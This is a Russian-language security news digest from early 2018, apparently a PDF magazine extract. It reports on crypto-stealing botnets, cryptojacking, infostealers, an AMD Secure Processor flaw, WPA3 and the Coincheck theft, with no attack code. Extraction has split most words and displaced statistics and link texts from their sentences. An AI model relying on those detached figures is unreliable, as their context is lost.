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ПОГОНЯ ЗА
КРИПТОВАЛЮТОЙ
В  декаб ре  2017  года  сто имость  Bitcoin  дос тигла  рекор дных  20  тысяч  дол‐ 
ларов,  и  инте рес  к  крип товалю там  в  оче ред ной раз  воз рос,  нев зирая  на  то
что  за  про шед ший  месяц  курс  успел  зна читель но  сни зить ся.  В  резуль тате
мно гие  круп ные  бир жи  были  вынуж дены  при оста новить  регис тра цию  новых
поль зовате лей, не справ ляясь с нап лывом жела ющих, а из магази нов вновь
поч ти  пол ностью  исчезли  виде окар ты,  так  как  май нинг  по‐преж нему  может
быть весь ма при быль ным заняти ем.

Не  оставля ют  крип товалю ты  без  вни мания  и  прес тупни ки.  Так,  за  пос‐ 
ледние месяцы  количес тво скры той май нин говой мал вари зна читель но  уве‐ 
личи лось, а так же все агрессив нее ста новит ся так называ емый «бра узер ный
май нинг»  (он  же  крип тодже кинг).  Более  того,  теперь  крип товалю той  заин‐ 
тересо вались  опе рато ры  круп ных  бот нетов,  и  даже  обык новен ные  шиф‐ 
роваль щики уже   под видом кошель ков для крип товалю ты,
при чем не сущес тву ющей в реаль нос ти.

рас простра няют ся

Satori
Спе циалис ты  Qihoo  360  Netlab  обна ружи ли,  что  8  янва ря  2018  года
на  сетевом  лан дшаф те  появил ся  новый  бот нет — модифи кация  уже  извес‐ 
тно го экспер там бот нета Satori. Иссле дова тели уве рены, что новую вари ацию
мал вари,  ранее  пред назна чав шей ся  исклю читель но  для  взло ма

, соз дал тот же самый автор, так как код вре доно сов схож.IoT‐устройств
На пом ню,  что  ори гиналь ный  бот нет    в  начале  декаб‐ 

ря  2017  года.  Вре донос  Satori,  на  котором  стро ился  одно имен ный  бот нет,
был оче ред ной вари ацией нашумев шего IoT‐вре доно са Mirai. Тог да ана лити‐ 
ки  Qihoo  360  Netlab  пре дуп режда ли  о  280  тысячах  активных  ботов,  а  так же
о том, что угро за исполь зует отличную от Mirai так тику. Дело в том, что клас‐ 
сичес кая вер сия Mirai работа ет как Telnet‐ска нер, при этом исполь зуя длин‐ 
ные спис ки логинов и паролей, под ходящих для раз личных «умных» устрой ств,
которые мал варь брут форсит. Но Satori  имел на воору жении два экс пло ита,
которы ми поль зовал ся вмес то брут форса.

был  замечен

Те перь иссле дова тели Qihoo 360 Netlab обна ружи ли модифи кацию Satori.‐
Coin.Robber,  которая,  как  мож но  понять  из  наз вания,  пред назна чена
для  хищения  крип товалю ты.  Если  пер вый  бот нет,  как  пред полага ют  спе‐ 
циалис ты,  был  соз дан  начина ющим  хакером  или  скрипт‐кид ди,  то  он  опре‐ 
делен но  учит ся.  Новая  вер сия  мал вари  пред назна чена  для  атак  не  толь ко
на  IoT‐девай сы  (вре донос  по‐преж нему  исполь зует  те  же  экс пло иты),  но  и
на устрой ства для май нин га крип товалю ты Ethereum.

Satori.Coin.Robber ска ниру ет порт 3333 и ищет май нин говое ПО Claymore
Miner,  что бы затем под менить адрес  кошель ка май нера сво им. Пока иссле‐ 
дова тели  не  опуб ликова ли  прак тичес ки  никакой  информа ции  о  самом  экс‐ 
пло ите,  который  при меня ется  мал варью,  так  как  опа сают ся  ухуд шить  ситу‐ 
ацию. Извес тно лишь, что ата кующий может без над лежащей аутен тифика ции
вза имо дей ство вать с устрой ством и под менять дан ные. Так, Satori.Coin.Rob‐
ber изме няет кон фигура цию май нера, добав ляя новый пул и новый кошелек.
В нас тоящее вре мя, сог ласно ста тис тике пула, опе ратор мал вари зарабо тал
более 2 ETH (око ло 2000 дол ларов по текуще му кур су).

Necurs
Опе рато ры одно го из круп ней ших бот нетов в мире, Necurs, нас читыва юще го
свы ше  шес ти  мил лионов  заражен ных  хос тов,  тоже  заин тересо вались  крип‐ 
товалю той, а точ нее,  .ис поль зуют бот нет для манипу ляций кур сами

Сто ит  ска зать,  что  это  не  пер вый  опыт  такого  рода  для  вла дель цев  бот‐ 
нета. Ранее опе рато ры Necurs уже пытались манипу лиро вать рын ком цен ных
бумаг. Тог да пос лания спа меров стро ились на клас сичес кой в этой области
схе ме  «накач ки  и  сбро са»  (pump‐and‐dump).  Эта  незакон ная  прак тика
исполь зует ся  для  искусс твен ного  повыше ния  цен  на  акции:  поль зовате лей
вво дят в заб лужде ние, что бы про дать дешевые акции по более высокой цене.
Ранее  зло умыш ленни ки  мас сово  дезин форми рова ли  поль зовате лей,  сооб‐ 
щая,  что,  по  дан ным  некой  ман хэттен ской  фир мы,  в  ско ром  вре мени  ком‐ 
пания  InCapta  Inc  ($INCT), которая занима ется раз работ кой мобиль ных при‐ 
ложе ний, будет при обре тена по цене 1,37 дол лара за акцию ком пани ей DJI,
про изво дящей  дро нов.  Зло умыш ленни ки  рекомен довали  ску пать  акции  In‐
Capta  Inc,  пока  не  поз дно,  и  обе щали,  что  эти  вло жения  при несут  боль шую
при быль.

Сей час опе рато ры бот нета исполь зуют ту же так тику, вновь реали зуя схе‐ 
му  pump‐and‐dump,  толь ко  на  этот  раз  для  «прод вижения»  крип товалю ты
Swisscoin  (SIC).  При чем  дан ный  аль тко ин  еще  в  прош лом  году  был  наз ван
сетевым мар кетин гом от крип товалю ты, реали зующим так называ емую 

,  пос ле  чего  его  обра щение  было  при оста нов лено.  Одна ко  тор говля
возоб новилась 15 янва ря 2018 года, чем и пос пешили вос поль зовать ся зло‐ 
умыш ленни ки.

схе му
Пон ци

Рас сыла емый Necurs  спам обе щает,  что  сто имость Swisscoin может  уве‐ 
личить ся на 50 тысяч про цен тов в текущем году, а вло жение тысячи дол ларов
в ито ге при несет инвесто ру мил лион.

Ди нами ка цен на Swisscoin

К сожале нию, труд но судить, как имен но дей ствия опе рато ров Necurs вли яют
на сто имость Swisscoin: в янва ре 2018 года весь крип товалют ный рынок ощу‐ 
тимо  «про сел»,  цена  Bitcoin  опус калась  ниже  9000  дол ларов,  и  сто имость
аль тко инов  тоже  менялась  прак тичес ки  неп ред ска зуемо  (пре иму щес твен но
в сто рону рез кого пониже ния).

Ата ки на веб‑сер веры
Од нако  бот неты  —  далеко  не  единс твен ная  «крип товалют ная»  проб лема
на сегод няшний день. Уже дав но ста ло ясно, что прес тупни ки осоз нали, нас‐ 
коль ко  выгод ным может  быть  зараже ние  май нин говой мал варью  раз личных
сер веров, на которых вре доно са обна ружи вают далеко не сра зу, а мощ ность
их,  как  пра вило,  сущес твен но  пре вос ходит  обыч ные  поль зователь ские
устрой ства.

Оче ред ным  тому  доказа тель ством  ста ло  обна руже ние  вре доно са
RubyMiner,  о  котором  пре дуп редили  спе циалис ты  Check  Point  и  Certego.
По дан ным иссле дова телей, мал варь мас сово ата кует уяз вимые веб‐сер веры
в Великоб ритании,  Гер мании, США, Нор вегии  и Шве ции  и  успе ла  заразить
более 700 машин за пер вые сут ки.

Ак тивность RubyMiner

Под угро зой ока зались уяз вимые перед раз личны ми багами сер веры на базе
Windows и Linux. Экс плу ати руя уяз вимос ти, обна ружен ные в PHP, Microsoft IIS
и Ruby on Rails еще в 2012–2013 годах, прес тупни ки уста нав лива ют на сер‐ 
веры  май нер  XMRig  для  «добычи»  крип товалю ты  Monero.  По  дан ным  спе‐ 
циалис тов,  прес тупни ки  не  осо бен но  ста рают ся  скрыть  свои  дей ствия,  ско‐ 
рее,  ата ка  нап равле на  на  ком про мета цию  как  мож но  боль шего  количес тва
устрой ств за минималь ное вре мя.

Мо шен ничес тво и мал варь
Про дол жают проц ветать более тра дици онные угро зы, нап ример тро яны. Так,
спе циалис ты MalwareHunterTeam и Guido Not CISSP обна ружи ли, что на чер‐ 
ном  рын ке  активно  рек ламиру ется  и  про дает ся  .  Как  и
любой дру гой инфости лер, Evrial похища ет с заражен ных машин фай лы cookie
и учет ные дан ные. Одна ко авто ры так же «научи ли» свое детище вни матель но
сле дить за содер жимым буфера обме на Windows.

но вый  тро ян  Evrial

Evrial  не  похища ет  из  буфера  обме на  все  под ряд.  Вмес то  это го  тро ян
дожида ется,  ког да  в  буфер  попадет  адрес  крип товалют ного  кошель ка
или  URL  пред ложения  обме на  Steam.  Как  толь ко  это  про исхо дит,  мал варь
под меня ет  адрес  кошель ка  или  URL  на  адрес  или  ссыл ку,  при над лежащие
зло умыш ленни кам.

Про мосайт Evrial

Кро ме того, Evrial похища ет дан ные о крип товалют ных кошель ках (фай лы wal‐
let.dat),  сох ранен ные  на  устрой стве  пароли  (в  час тнос ти,  из  бра узе ров
Chrome, Yandex, Orbitum, Opera, Amigo, Torch и Comodo, а так же пароли, хра‐ 
нящи еся  в  Pidgin  и  Filezilla),  докумен тацию  и  дела ет  сним ки  активных  окон
жер твы.  Вся  эта  информа ция  упа ковы вает ся  в  архив  (ZIP)  и  заг ружа ется
на управля ющий сер вер.

В  нас тоящее  вре мя  иссле дова тели  не  опре дели ли,  как  имен но  рас‐ 
простра няет ся  Evrial,  но,  по  дан ным  MalwareHunterTeam,  тро ян  про дает ся
на рус ско языч ных андегра ундных ресур сах по цене 1500 руб лей. За эту сум му
покупа тель получа ет дос туп к веб‐панели, где может скон фигури ровать мал‐ 
варь  нуж ным  ему  обра зом:  выб рать  адре са  и  ссыл ки  для  замены,  а  так же
отсле живать под мены, уже сде лан ные вре доно сом.

Сто ит отме тить, что под мена адре сов крип товалют ных кошель ков в целом
ста новит ся  весь ма  рас простра нен ным  явле нием.  Спе циалис ты  ком пании
Proofpoint  ,  что  опе рато ры  некото рых  Tor2Web‐прок си  и  gate‐
way’ев  нажива ются  на  поль зовате лях,  которые  уже  ста ли  жер тва ми  вымога‐ 
тель ско го ПО, а так же на авто рах это го самого вымога тель ско го ПО.

об наружи ли

При мер под мены адре са

К  при меру,  опе рато ры  сер виса  Onion.top  занима ются  скры тым  пар сингом
сай тов,  которые  посети тели  откры вают  при  помощи  их  ресур са.  Так,  если
поль зовате ли  обра щают ся  к  офи циаль ным  стра ницам  вымога телей  LockeR,
Sigma  и  GlobeImposter,  опе рато ры  Onion.top  под меня ют  адре са  Bitcoin‐
кошель ков для опла ты выкупов на свои.

Крип тодже кинг
Од на  из  самых  неп рият ных  раз новид ностей  скры того май нин га — бра узер‐ 
ный  май нинг,  ког да  устрой ства  прос тых  посети телей  сай тов  исполь зуют ся
для добычи крип товалю ты (разуме ется, без ведома самих поль зовате лей).

Ра нее скры тые май неры уже находи ли в  тысячах интернет‐магази нов и в
при ложе ниях  для  Android.  Добыва ющие  крип товалю ту  скрип ты  скры вают ся
во вре донос ной рек ламе, пря чут ся от бло киров щиков при помощи дис петче‐ 
ра  тегов  Google,  исполь зуют  вид жеты  популяр ного  сер виса  LiveHelpNow,
интегри рован ные в код мно жес тва сай тов, а популяр ные CMS и вов се зах лес‐ 
тну ла  вол на  атак,  целью  которых  явля ется  имен но  уста нов ка  май нин говых
скрип тов.

Так, еще в декаб ре 2017 года ана лити ки ком пании Sucuri 
о  вре донос ной  кам пании,  раз верну той  про тив  пло хо  защищен ных  и  дав но
не обновляв шихся сай тов на базе WordPress. Напом ню, что тог да спе циалис‐ 
ты обна ружи ли, что зло умыш ленни ки заг ружа ют на взло ман ные сай ты скрип‐ 
ты, работа ющие как кей лог гер и вору ющие все дан ные, которые поль зовате‐ 
ли  заносят  в  раз личные  фор мы.  Так же  скрип ты  под гру жали  на  заражен ные
сай ты  крип товалют ный  май нер  Coinhive.  Пред полага лось,  что  кам пания
активна как минимум с апре ля 2017 года и от рук зло умыш ленни ков пос тра‐ 
дали более 5500 сай тов.

пре дуп режда ли

Те перь спе циалис ты Sucuri  пред ста вили  ,  сог ласно которо му
зло умыш ленни ки  по‐преж нему  не  прек ратили  свою  опе рацию.  Прес тупни ки
все  так же  ком про мети руют сай ты  через  уяз вимые  темы или пла гины и экс‐ 
плу ати руют баги в ста рых вер сиях WordPress. На фрон тенде взлом щики раз‐ 
меща ют  бра узер ный  май нер  Coinhive,  исполь зующий  компь юте ры  посети‐ 
телей таких сай тов для «добычи» крип товалю ты Monero.

но вый отчет

Сог ласно дан ным PublicWWW, скрип ты с этих доменов заг ружа ются более
чем для 2000 сай тов. Одна ко далеко не все сай ты индекси руют ся PublicWWW,
так что иссле дова тели полага ют, что на самом деле пос тра дав ших ресур сов
гораз до боль ше.

Так же  в  янва ре  2018  года  май нин говые  скрип ты  про екта  Coinhive 
,  куда крип тодже кинг про ник через рек ламную плат‐ 

форму Google DoubleClick.

доб‐ 
рались даже до YouTube

По  дан ным  спе циалис тов  Trend  Micro,  вре донос ная  кам пания  с  исполь‐ 
зовани ем Google DoubleClick и скрип тов JavaScript, внед ренных в рек ламные
объ явле ния,  стар товала  еще  18  янва ря  2018  года  и  рез ко  наб рала  обо‐ 
роты  23  янва ря.  Сооб щает ся,  что  боль шинс тво  пос тра дав ших  находи лись
в Япо нии, Фран ции, Ита лии, Испа нии и на Тай ване.

Схе ма январ ской ата ки Coinhive

Эк спер ты  пишут,  что  ата кующие  исполь зовали  два  май нин говых  скрип та.
Пер вая  раз новид ность  пред став ляла  собой  обыч ный  вари ант  Coinhive,
который про ект пред лага ет всем сво им кли ентам. Но вто рая раз новид ность,
исполь зовав шаяся  при мер но  в  10%  слу чаев,  была  кас томной  раз работ кой
самих  зло умыш ленни ков.  Она  поз воляла  не  отда вать  30%  крип товалют ной
при были опе рато рам Coinhive. Оба скрип та пог лощали приб лизитель но 80%
ресур са поль зователь ских CPU и добыва ли крип товалю ту Monero.

123456 — ВСЕ ЕЩЕ САМЫЙ ПОПУЛЯР НЫЙ ПАРОЛЬ

Мно го  лет  под ряд  ана лити ки  ком пании  SplashData  сос тавля ют  спи сок  «100  самых  худ ших
паролей  года».  Так  спе циалис ты  пыта ются  прив лечь  вни мание  к  проб леме  ненадеж ных
паролей, но общая кар тина со вре менем меня ется мало. Рав но как и год назад, самым худ шим
паролем 2017 года был приз нан  .123456

Так же  сре ди  час то  исполь зуемых  паролей  по‐преж нему  популя рен  спорт  (football,  baseball,
soccer,  hockey,  Lakers,  jordan23,  golfer,  Rangers,  Yankees),  мар ки  авто моби лей  (Mercedes,
Corvette,  Ferrari,  Harley)  и  прос тей шие  сло восо чета ния,  которые  мож но  поп росту  подоб рать
вруч ную, без вся кого брут форса (iloveyou, letmein, whatever, blahblah).

БАГ В AMD SECURE
PROCESSOR
Ком пания  AMD  под готови ла  исправ ления  для  сво их  про шивок  BIOS/UEFI.
Дело в  том,  что в  ком понен те,  который ранее был известен  как  «про цес сор
для  обес печения  безопас ности  плат формы»  (Platform  Security  Processor),
а  теперь  называ ется  прос то  Secure  Processor,  была  обна руже на  серь езная
уяз вимость.

Secure Processor пред став ляет собой механизм безопас ности, во мно гом
похожий на Intel Management Engine. Это тоже сис тема chip‐on‐chip, которая,
как  гла сит  офи циаль ный  сайт  ком пании,  «исполня ет  роль  защит ного  „слоя“
на обо рудо вании, соз давая безопас ную сре ду за счет раз деления цен траль‐ 
ного  про цес сора  на  два  вир туаль ных  „мира“.  Важ ные  задачи  выпол няют ся
в  „безопас ном  мире“  AMD  Secure  Processor,  а  дру гие  задачи —  в  обыч ном
режиме».

RCE‐уяз вимость в AMD Secure Processor, а имен но в Trusted Platform Mod‐
ule (TPM), обна ружи ли спе циалис ты Google Cloud Security Team. Имен но TPM
хра нит такие кри тичес кие сис темные дан ные, как пароли, сер тифика ты и клю‐ 
чи шиф рования.

Ис сле дова тели про вели вруч ную ста тичес кий ана лиз и выяви ли проб лему
перепол нения  сте ка,  свя зан ную  с  фун кци ей  EkCheckCurrentCert.  Через  эту
брешь, исполь зуя спе циаль но соз данные EK‐сер тифика ты, ата кующий может
добить ся  получе ния  прав  на  выпол нение  про изволь ного  кода  в  Secure  Pro‐
cessor,  ском про мети ровав  таким  обра зом  всю  сис тему.  При чем  экс плу ата‐ 
цию уяз вимос ти иссле дова тели называ ют весь ма три виаль ной, так как Secure
Processor  не  исполь зует  такие  средс тва  защиты,  как  ASLR,  No‐eXecute
или  stack  cookies.  Единс твен ная  хорошая  новость  зак люча ется  в  том,  что
пред варитель но ата кующе му все же понадо бит ся дос туп к уяз вимой машине,
ско рее все го физичес кий.

Ин женеров  AMD  пос тавили  в  извес тность  о  проб леме  еще  в  сен‐ 
тябре 2017 года, а в декаб ре раз работ чики сооб щили, что соз дали исправ‐ 
ление  и  готовят ся  к  его  рас простра нению. Судя  по  все му,  имен но  поэто му
некото рые  вла дель цы  про цес соров  недав но  обна ружи ли  появ ление  новой
опции — отклю чения под дер жки AMD PSP.

→«Эти  [пат чи]  дела ют  безум ные  вещи.  Они  дела ют  бес смыс ленные  вещи.  Из‐за  них  ваши
аргу мен ты  выг лядят  подоз ритель но  и  вызыва ют  воп росы.  Эти  пат чи  тво рят  вещи  за  гранью
здра вого смыс ла. Какого х** вооб ще про исхо дит? Все это пол ней ший мусор. Intel прав да пла‐ 
ниру ет  сде лать  это  дерь мо  архи тек турным?  Кто‐нибудь  пытал ся  погово рить  с  ними  и  объ‐ 
яснить,  что  они  спя тили  на  ***?  Пожалуй ста,  если  здесь  есть  инже неры  Intel,  погово рите
со сво ими менед жерами»,

 о пат чах для уяз вимос ти Spectre, соз данных инже нера ми ком пании Intel— Линус Тор валь дс
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WI‐FI СТАНЕТ
БЕЗОПАСНЕЕ
Осенью 2017 года обна руже ние целого ком плек са уяз вимос тей, получив ших
общее  наз вание  KRACK,  пос лужило  чет ким  сиг налом  для  индус трии:
WPA2  боль ше  нель зя  счи тать  безопас ным.  Осоз навая  серь езность  проб‐ 
лемы,  угро жающей  мил лионам  устрой ств,  пред ста вите ли  орга низа ции  WiFi
Alliance рас ска зали о ско ром появ лении WPA3 и 
гря дущих изме нений.

опуб ликова ли пер вые детали

Под робные  спе цифи кации  WPA3  будут  обна родо ваны  поз днее
в 2018  году, но о четырех важ ных осо бен ностях ста ло извес тно уже сей час.
Новая вер сия стан дарта приз вана сде лать Wi‐Fi‐сети более безопас ными.

В  час тнос ти,  в  WPA3  обе щают  реали зовать  встро енную  защиту  от  брут‐ 
форс‐атак,  которая  будет  бло киро вать  аутен тифика цию  пос ле  ряда  неудач‐ 
ных  попыток.  Так же  у  поль зовате лей  появит ся  воз можность  исполь зовать
одни Wi‐Fi‐устрой ства для кон фигури рова ния дру гих. К при меру, мож но будет
исполь зовать  смар тфон  или  план шет  для  нас трой ки  WPA3  на  «соседс тву‐ 
ющем»  устрой стве  без  экра на  —  таких  немало  сре ди  IoT‐гад жетов  (умные
зам ки, лам почки и так далее).

Еще  две  анон сирован ные  фун кции  нап рямую  свя заны  с  шиф ровани ем.
Так,  WPA3  пред ложит  устрой ствам  «инди виду али зиро ван ное  шиф рование
дан ных»,  то  есть  шиф ровать  любые  соеди нения,  как  меж ду  самими

, так и свя зыва ющие их с роуте ром или точ кой дос тупа. Кро ме
того,  появит ся  новый,  улуч шенный  крип тогра фичес кий  стан дарт,  который
пред ста вите ли  WiFi  Alliance  опи сыва ют  как  «192‐раз рядный  пакет  безопас‐ 
ности». Он  будет  ори енти ровать ся  на Commercial  National  Security  Algorithm
(CNSA)  Suite,  соз данный  Комите том  по  сис темам  наци ональ ной  безопас‐ 
ности (Committee on National Security Systems). Дан ное решение пред назна‐ 
чает ся в пер вую оче редь для сетей, где тре бует ся повышен ная безопас ность,
то есть для госуч режде ний, обо рон ных и индус три аль ных пред при ятий.

устройствами

Раз работ ка WPA3  уже  ведет ся,  и WiFi  Alliance  не  теря ет  вре мени  даром.
Ожи дает ся, что пер вые устрой ства с под дер жкой нового стан дарта появят ся
в про даже до кон ца 2018 года.

БАНК РОС СИИ РАС СКА ЗАЛ О БОРЬ БЕ С МОШЕН НИКАМИ

Пред ста вите ли ЦБ сооб щили, что в 2017 году им уда лось обна ружить око ло   вре донос ных
сай тов и поч ти 90% таких доменов было раз делеги рова но. Вмес те с этим Банк Рос сии приз‐ 
нает,  что  прак тичес ки  бес силен  про тив  легаль ных  сай тов  с  низ ким  уров нем  безопас ности,
взло ман ных зло умыш ленни ками и годами рас простра няющих вре донос ное ПО.

1000

В 2017 году Банк Рос сии раз делеги ровал   доменов, из которых 740 были фишин говыми,
а еще 100 рас простра няли вре донос ное прог рам мное обес печение.

840

 всех кибера так нацеле на имен но на час тных лиц, а не на ком пании. В основном ата кующие
исполь зуют соци аль ную инже нерию (37%), при бега ют к ком про мета ции учет ных дан ных (26%),
а так же прак тику ют зараже ние вре донос ным ПО (16%).

1/3

В    слу чаев  пер вым  эта пом  атак  ока зыва ется  рас сылка  писем  с фишин говыми  ссыл ками
или вре донос ными вло жени ями.

62%

ПРИВАТНЫЕ
РАЗГОВОРЫ
Ком пания  Microsoft  сооб щила  о  начале  сот рудни чес тва  с  раз работ чиками
Open Whisper Systems  (соз датели Signal) и появ лении в Skype фун кции end‐
to‐end шиф рования.

Но вая фун кция получи ла наз вание Private Conversations («При ват ные раз‐ 
говоры») и уже появи лась в тес товых сбор ках Skype  Insider. При помощи Pri‐
vate  Conversations  мож но  шиф ровать  ауди озвонки  и  тек сто вые  сооб щения.
Аудио‐  и  виде офай лы,  а  так же  изоб ражения,  передан ные  через  такой
защищен ный чат, так же будут зашиф рованы.

Для  реали зации  end‐to‐end  шиф рования  Microsoft  исполь зует  откры тый
про токол Signal (ранее извес тный как TextSecure Protocol). Этот же про токол
уже исполь зуют WhatsApp, Facebook Messenger, а так же при ложе ние Allo, раз‐ 
работан ное Google.

При желании опро бовать Private Conversations  в деле мож но  уже сей час,
для  это го  понадо бит ся  ска чать  и  уста новить  Skype  Insider  вер‐ 
сии  8.13.76.8  для  Android,  iOS,  Linux,  Mac  или  Windows.  Разуме ется,  что бы
end‐to‐end шиф рование зарабо тало, исполь зовать Skype Insider дол жны обе
сто роны.  Так же  сто ит  отме тить,  что  end‐to‐end  шиф рование  для  виде‐ 
озвонков и груп повых чатов пока не реали зова но.

10% УЧТЕННЫХ ЗАПИСЕЙ GOOGLE ЗАЩИЩЕ НЫ ДВУХ ‐
ФАКТОР НОЙ АУТЕН ТИФИКА ЦИЕЙ

В  док ладе  на  кон ферен ции  Usenix  Enigma  2018  спе циалист  ком пании  Google  Гже гож  Мил ка
(Grzegorz Milka) рас ска зал, что с двух фактор ной аутен тифика цией дела обсто ят весь ма печаль‐ 
но.  По  дан ным  иссле дова теля,  в  нас тоящее  вре мя  менее    активных  акка унтов  Google
защище ны двух фактор ной аутен тифика цией.

10%

Бо лее того, сог ласно иссле дова нию Pew Research Center, лишь   аме рикан ских поль зовате‐ 
лей при меня ют для защиты сво их учет ных записей хотя бы пароль ный менед жер.

12%

ТЕЛЕМЕТРИЯ
WINDOWS 10
В  пос ледние  годы  ком пания Microsoft  не  раз  стал кивалась  с  тре бова ниями
влас тей и регули рующих орга нов раз ных стран — всех очень вол нует воп рос
сбо ра  информа ции  о  поль зовате лях.  Так,  ранее  фран цуз ские  влас ти  при‐ 
казы вали Microsoft  перес тать сле дить за поль зовате лями Windows 10, Евро‐ 
союз  выражал  обес поко енность  по  это му  же  поводу,  а  Фонд  элек трон ных
рубежей и вов се жес тко рас кри тико вал полити ку ком пании.

В ответ  на мас совое  недоволь ство Microsoft  пыта ется  стать  проз рачнее.
К при меру, в прош лом году ком пания уже деталь но  , какую имен но
телемет рию собира ет ОС. Затем поль зовате лям пре дос тавили воз можность
регули ровать нас трой ки при ват ности, упростив их и сде лав понят нее: появи‐ 
лись  уров ни  сбо ра  дан ных  Full  и  Basic,  и  ком пания  под робно  рас ска зала
о каж дом из них.

объ ясни ла

Те перь  пред ста вите ли  Microsoft  сооб щили,  что  вмес те  со  сле дующим
круп ным обновле нием для Windows 10, выход которо го зап ланиро ван на вес‐ 
ну  2018  года,  появит ся  спе циаль ный  инс тру мент,  поз воля ющий  сле дить
за сбо ром дан ных еще более деталь но. При ложе ние получи ло наз вание Win‐
dows  Diagnostic  Data  Viewer,  и  оно  уже  дос тупно  в Windows  Store  для  поль‐ 
зовате лей Windows Insiders.

Как  мож но  понять  из  наз вания, Windows Diagnostic  Data  Viewer  поз волит
лишь  прос матри вать  информа цию  о  сбо ре  телемет рии,  но  не  даст  поль‐ 
зовате лям управлять ею или что‐либо уда лять. Сооб щает ся, что при ложе ние
дол жно стать вспо мога тель ным инс тру мен том, который поможет опре делить,
какие  дан ные  собира ет  сис тема  и  какие  методы  могут  исполь зовать ся
для отклю чения такой «слеж ки» в каж дом кон крет ном слу чае.

При ложе ние поз волит поль зовате лям и адми нис тра торам прос матри вать
деталь ную информа цию о том, какую имен но телемет рию собира ет опе раци‐ 
онная сис тема. К каким имен но дан ным поль зовате ли получат дос туп, хорошо
вид но на при веден ных ниже скрин шотах.

Филь тр по типу собира емой информа ции

При мер собира емых дан ных

300 000 000 ДОЛ ЛАРОВ ПОТЕРЯ ЛИ ICO ИЗ‐ЗА 
ЗЛО УМЫШ ЛЕННИ КОВ

ДЕЙСТВИЙ

«Лабора тория Кас пер ско го» опуб ликова ла инте ресую ста тис тику. По под сче там спе циалис тов,
в 2017  году в  ходе  ICO  (Initial Coin Offering, пер вичное раз мещение  токенов) сум марно было
прив лечено    дол ларов,  из  которых    дол ларов  в  ито ге  были
похище ны зло умыш ленни ками. Иссле дова тели под счи тали, что от дей ствий прес тупни ков пос‐ 
тра дали более  .

3,5 мил лиар да 300  мил лионов

60 000 человек

За весь 2017 год экспер ты «Лабора тории Кас пер ско го» зарегис три рова ли более 
  на  про водя щиеся  ICO.  Инте рес  зло умыш ленни ков  к  этой  области  сов сем  неуди‐ 

вите лен: сред ний инвестор готов вло жить в ICO поряд ка  .

2000 хакер- 
ских атак

5000 дол ларов

УЯЗВИМОСТЬ
КОШЕЛЬКА
ELECTRUM
Еще в нояб ре 2017 года поль зователь GitHub, извес тный как  jsmad, обра тил
вни мание раз работ чиков крип товалют ного кошель ка Electrum на обна ружен‐ 
ную в коде проб лему.

Как выяс нилось, баг поз волял любому сай ту и людям, которые его кон тро‐ 
лиру ют,  похищать  средс тва  поль зовате ля,  если  Electrum  был  запущен
одновре мен но с бра узе ром и не защищен паролем. Если пароль все же был
уста нов лен,  это  дол жно  было  защитить  поль зовате ля,  пока  тот  не  осу щест‐ 
влял  тран закций.  Уяз вимость  при сутс тво вала  в  коде  Electrum
с начала 2016 года, с вер сии 2.6. Проб лема свя зана с интерфей сом JSON‐
RPC, реали зация которо го в Electrum ока залась небезо пас ной.

К  сожале нию,  осоз нать  всю  серь езность  проб лемы  в  пол ной  мере  раз‐ 
работ чики Electrum сумели  толь ко  пос ле допол нитель ного  пре дуп режде ния,
получен ного  от  спе циалис та  Google  Project  Zero  Тевиса Орманди  (Tavis  Or‐
mandy). Недав но эксперт обна ружил ту же самую уяз вимость, узнал, что о ней
уже сооб щали ранее, и обра тил вни мание раз работ чиков, что баг в выс шей
сте пени опас ный.

В резуль тате 7 янва ря 2018 года для Electrum был выпущен экс трен ный патч,
и уже на сле дующий день появи лась новая вер сия кошель ка (3.0.5), в которой
уяз вимость была устра нена окон чатель но. Так как кошель ки не пре дус матри‐ 
вают авто мати чес кого обновле ния, теперь безопас ность поль зовате лей в их
собс твен ных  руках  и  зависит  от  того,  нас коль ко  час то  они  про веря ют
обновле ния ПО.

КРИП ТОВАЛЮ ТА LITECOIN НАБИРА ЕТ ПОПУЛЯР НОСТЬ
НА ЧЕР НОМ РЫН КЕ

Эк спер ты  ком пании  Recorded  Future  изу чили  положе ние  дел  на  чер ном  рын ке.  Спе циалис ты
пог рузились  в  дар кнет  и  про ана лизи рова ли  содер жимое    форумов,  тор говых  пло‐ 
щадок и сай тов, пред лага ющих незакон ные услу ги. Иссле дова тели хотели понять, какие крип‐ 
товалю ты  наибо лее  рас простра нены  в  кибер кри миналь ной  сре де  на  дан ный  момент  и  чему
отда ют пред почте ние прес тупни ки.
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На иболь ший  инте рес  кибер прес тупни ки  про явля ют  к  крип товалю те  Litecoin:  пла тежи  в  этой
валюте  при нима ют    изу чен ных  сай тов,  сер висов  и  про дав цов.  Вто рое  мес то  дос талось
крип товалю те DASH, ее исполь зуют   рас смот ренных экспер тами ресур сов. Замыка ют спи‐ 
сок Bitcoin Cash, Ethereum и Monero (13, 9 и 6% соот ветс твен но).

30%
20%

В англо языч ном сег менте дар кне та наиболь шей популяр ностью поль зует ся  . В рус ско‐ 
языч ной сре де пред почита ют  .

Monero
Litecoin

На одном из иссле дуемых форумов экспер ты обна ружи ли любопыт ный опрос: поль зовате лям
пред ложили  про голо совать  за  «любимую»  крип товалю ту,  которую  те  хотели  бы  видеть
в будущем в качес тве спо соба рас четов на боль шинс тве сай тов. Лидера ми в этом опро се ока‐ 
зались Monero и DASH, тог да как Litecoin занял лишь чет вертое мес то.

ОГРАБЛЕНИЕ БИРЖИ
COINCHECK
26  янва ря  2018  года  круп ная  япон ская  крип товалют ная  бир жа  Coincheck
сооб щила об ограбле нии, которое может стать самым круп ным инци ден том
такого рода в исто рии. Зло умыш ленни ки похити ли у ком пании крип товалю ту
NEM (XEM) на сум му, пре выша ющую пол милли арда дол ларов.

Ко ман да  про екта  сооб щила  о  хищении  при мер но  500  мил лионов  монет
NEM, что по кур су на момент ата ки сос тавля ло поряд ка 523 мил лионов дол‐ 
ларов США. В резуль тате кра жи пос тра дали око ло 260 тысяч поль зовате лей.
Бир жа  была  вынуж дена  при оста новить  прак тичес ки  все  опе рации  с  крип‐ 
товалю тами, бан ков ски ми кар тами и пла теж ным сер висом Pay Easy до выяс‐ 
нения всех обсто ятель ств про исшедше го.

На сроч ной пресс‐кон ферен ции руководс тво Coincheck под твер дило, что
неиз вес тные зло умыш ленни ки похити ли толь ко крип товалю ту NEM. При этом
пред ста вите ли бир жи сооб щили, что Coincheck не исполь зовала смарт‐кон‐ 
трак ты  с  муль типод писью,  одна ко  ком пания  ока залась  не  готова  приз нать,
что име ла какие‐либо проб лемы с безопас ностью.

Гла ва NEM Foundation Лон Вонг (Lon Wong) тоже пос пешил про ком менти‐ 
